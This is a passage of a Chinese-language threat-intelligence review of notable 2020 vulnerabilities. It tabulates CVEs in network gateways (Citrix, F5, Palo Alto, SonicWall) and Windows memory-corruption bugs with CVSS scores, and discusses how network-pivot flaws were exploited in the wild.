solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Vulnerability Class</span></strong></p></td></tr><tr><td width="228" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-5135</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SonicWall SonicOS Portal Buffer Overflow</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.4</span></p></td><td width="139" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="79" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="228" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-2021</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Palo Alto Networks PAN-OS SAML Authentication Bypass  and Remote Code Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="139" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value Target</span></span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="79" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="228" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14500</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Secomea GateManager Unauthenticated Remote Code  Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="139" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value Target</span></span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="79" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="228" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-12271</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Sophos XG Firewall Unauthenticated SQL Injection</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="139" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported  as 0day)</span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="79" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Injection</span></p></td></tr><tr><td width="228" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8195</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway/SD-WAN WANOP Improper  Access Control</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">6.5</span></p></td><td width="139" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="79" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="228" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8193</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway Authentication Bypass</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">6.5</span></p></td><td width="139" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="79" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="228" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-8196</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway/SD-WAN WANOP Improper  Access Control</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">4.3</span></p></td><td width="139" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="79" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="228" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2019-19781</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Citrix NetScaler ADC/Gateway/SD-WAN Arbitrary Code  Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="139" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="79" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr><tr><td width="228" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-5902</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">F5 Big-IP TMUI Remote Code Execution</span></p></td><td width="53" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="139" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited in the wild</span></span></p></td><td width="56" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network pivot</span></p></td><td width="79" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Improper Access Control</span></p></td></tr></tbody></table><p><span style="font-size: 15px;">对于攻击者来说，从外部网络攻击转向内部网络攻击的能力是一个重要的分水岭。这里不得不说网络枢轴了。它可以使攻击者能够看到内部和外部的流量，通常是去利用面向internet的系统，如vpn、防火墙、路由器和其他网关设备。网络枢纽有助于攻击者进行数据泄露、流量嗅探和目标网络内的进一步攻击; 简言之，对于世界各地的渗透测试人员来说，拿到网络枢纽权限，才能打开企业内部的大门。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">过去一年中最受关注和普遍利用的漏洞大多数都属于网络枢纽类。例如，2020年出现大规模攻击的第一个漏洞是Citrix NetScaler/Application Delivery Controller CVE-2019-19781，这是一个目录遍历漏洞，在2019年12月首次出现，并一直困扰着安全事件响应人员。该漏洞允许远程未经验证的攻击者在易受攻击的网关上执行代码，而且它不是2020年唯一一个充当攻击者网络枢纽的Citrix CVE。</span><span style="font-size: 15px;color: rgb(0, 0, 0);">NSA于10月警告称，中国国家资助的参与者</span><span style="font-size: 15px;color: rgb(0, 0, 0);">正</span><span style="font-size: 15px;">在利用Citrix应用程序交付控制器中的另外三个漏洞，其中至少有一个漏洞是可用于提取有效的VPN会话，来获取内部网络访问权限。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">对于许多网络维护者来说，2020年6月29日至7月29日是本已充满挑战的一年中特别噩梦般的时期：在此期间，不少于四个CVSS 10漏洞被爆了出来，甚至其中三个发生在短短两周内。6月29日，Palo Alto Networks发布了一份针对CVE-2020-2021的安全建议，这是一个影响公司PAN-OS操作系统的SAML认证绕过，该系统运行在网关、门户、VPN和公司的下一代防火墙上。幸运的是，SAML（security assertion markup language）默认不是使用的身份验证方案，该公司强调，攻击者需要特殊的网络访问权限才能成功利用此漏洞。尽管后续公布了Palo Alto Networks在公共互联网上的Global Protect VPN实例不到70000个，但这依然是一个诱人的香饽饽，攻击者们会试图通过访问这些受保护的资源并找到进入企业网络的途径。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">一天后，也就是2020年6月30日，F5 Networks悄悄地发布了一份安全公告，通知客户CVE-2020-5902是一个严重的远程代码执行漏洞，存在于其BIG-IP产品流量管理用户界面(TMUI)的“未公开页面”中。几天之内，多个在野外被利用的证据就被公布了出来，同时有报道称，其中有数千个挖矿工具和针对易受攻击的BIG-IP的自动抓取工具，被暴露在了互联网上。F5在7月8日披露，他们之前发布的缓解建议是可以规避的，任何TMUI接触到互联网的人都应该调用事件响应程序——这是一系列类似于今年早些时候Citrix CVE-2019-19781的事件，尽管规模更大。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">直到2020年7月底，安全公司Claroty才发布了一项研究，详细描述了影响已公布的各种VPN关键漏洞，这些案例主要用于工业控制系统(ICS)和运营技术(OT)网络。综上所述，部分cve允许攻击者解密VPN流量、远程执行代码并窃取凭证以用于进一步的攻击。不仅如此，据了解，大约还有1900多个VPN网关居然将其Telnet管理端口暴露在公共互联网上。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">在每一种情况下，易受攻击的网关产品都放大了漏洞的严重性，加大了攻击的影响面。10月，在Zerologon对易受攻击的域控制器造成严重破坏的几个星期后，美国网络安全基础设施和安全局（CISA）发布了一份通报，通报了APT参与者除了攻击力关键基础设施和选举组织外，还利用Zerologon和部分网络枢纽漏洞，攻击了联邦，州，地方和部落网络。CISA列出的几个潜在目标漏洞，包括Palo Alto Networks、F5和上面讨论的Citrix漏洞，在本报告中被列为潜在或主动威胁。而且他们并不是唯一这样做的人:首先，任何被识别为我们数据中的网络枢纽的漏洞都可能被用于类似的目的。其次，它们对攻击者的获利相较与去做漏洞提交来得更加直接。</span></p><hr size="1" width="33%" style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p><br/></p><h2><span style="color: rgb(233, 95, 38);"><strong>Blues, Bleeds, Neighbors和 Ghosts：内存损坏漏洞</strong></span></h2><p><span style="font-size: 15px;">2020 内存损坏漏洞:</span></p><table cellspacing="0" cellpadding="0" width="555"><tbody><tr><td width="191" style="border-width: 1px;border-style: solid;border-color: windowtext;background: rgb(33, 179, 205);padding: 0.1px;"><p style="text-align:left;"><strong><span style="font-family:Arial,sans-serif;color:white;">CVE</span></strong></p></td><td width="51" colspan="3" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">CVSS v3</span></strong></p></td><td width="134" colspan="2" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Threat Status</span></strong></p></td><td width="93" colspan="2" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Attacker Utility</span></strong></p></td><td width="86" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Vulnerability Class</span></strong></p></td></tr><tr><td width="198" colspan="2" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-5135</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">SonicWall SonicOS Portal Buffer Overflow</span></p></td><td width="33" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.4</span></p></td><td width="138" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="96" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network Pivot</span></p></td><td width="89" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-16898</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows TCP/IP Remote Code Execution &#34;Bad  Neighbor&#34;</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">High-Value  Target</span></span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17008</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">splWOW64 Elevation of Privilege Patch Bypass</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">TBD</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0609</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Remote Desktop Gateway Remote Code Execution  &#34;BlueGate&#34;</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Impending Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Technical  Details Widely Available</span></span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-17087</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Kernel Local Privilege Escalation</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0986</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Sandbox Escape via splw64 Untrusted Pointer  Dereference</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">7.8</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">*</span></span><span style="font-family:Arial,sans-serif;color:#595959;">)</span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Local code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1020</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows Adobe Font Manager Library Remote Code  Execution</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 